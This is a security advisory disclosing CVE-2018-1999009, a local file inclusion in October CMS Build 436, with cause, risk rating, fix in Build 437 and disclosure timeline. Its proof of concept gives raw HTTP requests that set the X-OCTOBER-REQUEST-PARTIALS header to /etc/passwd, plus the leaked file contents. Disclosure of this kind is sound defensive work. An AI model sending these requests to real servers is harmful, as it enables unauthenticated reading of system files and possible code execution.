CVE-2018-1999009 Local File Inclusion in October CMS

LFI from X-OCTOBER-REQUEST-PARTIALS request header in October CMS.

Background

Back-end partials are files with the extension .htm that reside in the controller's views directory. The partial file names start with underscore: _partial.htm. Partials can be requested with the X-OCTOBER-REQUEST-PARTIALS header. Normally the header only contains a partial’s file name, but it’s possible to specify a full path to any file when requesting backend partials and it will be included as PHP code.

Proof of Concept

Version tested

Build 436, released on May 20, 2018 [http://octobercms.com/changelog]

Preconditions

  • The backend login page (or any other backend path) must be accessible

Steps to reproduce

  1. Set up a proxy to capture requests (e.g. Burp Suite)

  2. Visit the backend login page (/backend/backend/auth/signin) and click the Login button. This generates a request like the following:

    POST /backend/backend/auth/signin HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 129
    Cookie: october_session=eyJpdiI6IkhMS1RGaXhYTXJnRXQ2YzNXTE9sd0E9PSIsInZhbHVlIjoiYkdta0NLNlBzeXJWaHE2SmxpZjBTZlwvREdBeStPT0YzM3E4TTBVNXZCVlNWT0V4TGE4aHRIVHhEaTM5VWVpSjJXTklxdkh3S01Ud09VTXBETDhIMmZRPT0iLCJtYWMiOiIzZjJjMWY0MWUzYjdmNWYxNWRhZjU3ZTkxMjYzNDU5MzQ0OTkyY2FlZDE3OGZmZmJmMjIzOTBlOTQyMzk2MzYyIn0%3D
    Connection: close
    
    _session_key=afFbGOvq7Ek4J76VRgGDXMzOqEowEhTh3gB494uO&_token=mGqltxXikkZHUQmwj1NBwLuqIMCJyDcT85DyLuk1&postback=1&login=&password=</code>
    
  3. Modify the request to look like this, to read out for example /etc/passwd

    POST /backend/backend/auth/signin HTTP/1.1
    X-OCTOBER-REQUEST-HANDLER: onAjax
    X-OCTOBER-REQUEST-PARTIALS: /etc/passwd
    X-Requested-With: XMLHttpRequest
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 129
    Cookie: october_session=eyJpdiI6IkhMS1RGaXhYTXJnRXQ2YzNXTE9sd0E9PSIsInZhbHVlIjoiYkdta0NLNlBzeXJWaHE2SmxpZjBTZlwvREdBeStPT0YzM3E4TTBVNXZCVlNWT0V4TGE4aHRIVHhEaTM5VWVpSjJXTklxdkh3S01Ud09VTXBETDhIMmZRPT0iLCJtYWMiOiIzZjJjMWY0MWUzYjdmNWYxNWRhZjU3ZTkxMjYzNDU5MzQ0OTkyY2FlZDE3OGZmZmJmMjIzOTBlOTQyMzk2MzYyIn0%3D
    Connection: close
    
    _session_key=afFbGOvq7Ek4J76VRgGDXMzOqEowEhTh3gB494uO&_token=mGqltxXikkZHUQmwj1NBwLuqIMCJyDcT85DyLuk1&postback=1&login=&password=
    

    Response:

    HTTP/1.1 200 OK
    Content-Length: 2555
    Connection: close
    Content-Type: application/json
    
    {"\/etc\/passwd":"root:x:0:0::\/root:\/bin\/bash\nbin:x:1:1::\/:\/sbin\/nologin\ndaemon:x:2:2::\/:\/sbin\/nologin\nmail:x:8:12::\/var\/spool\/mail:\/sbin\/nologin\nftp:x:14:11::\/srv\/ftp:\/sbin\/nologin\nhttp:x:33:33::\/srv\/http:\/sbin\/nologin\nnobody:x:65534:65534:Nobody:\/:\/sbin\/nologin\ndbus:x:81:81:System Message
    
    ...
    

Under certain conditions it's possible to achieve remote code execution, but that is left as an exercise to the reader.

Risk

Risk level is high since it allows unauthenticated actors to read sensitive system files and under certain conditions execute arbitrary PHP code.

Mitigation & suggestions

The vulnerability has been fixed in Build 437 released on Jun 22, 2018. In previous builds, the vulnerability can be mitigated by not exposing the CMS backend to everyone.
The vulnerability occurs because user input is used in dynamic PHP includes. If dynamic includes from user input are an absolute necessity then what is included must be strictly checked against a whitelist.

Vulnerability disclosure timeline

Date Who What
2018-06-20 Andres Liiver / Clarified Security Discovered vulnerability during pen-test
2018-06-21 me > October CMS Notification
2018-07-11 me > MITRE DWF Requested CVE
2018-07-21 MITRE > me CVE assigned
2018-07-27 me Full disclosure

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1999009
http://octobercms.com/support/article/rn-10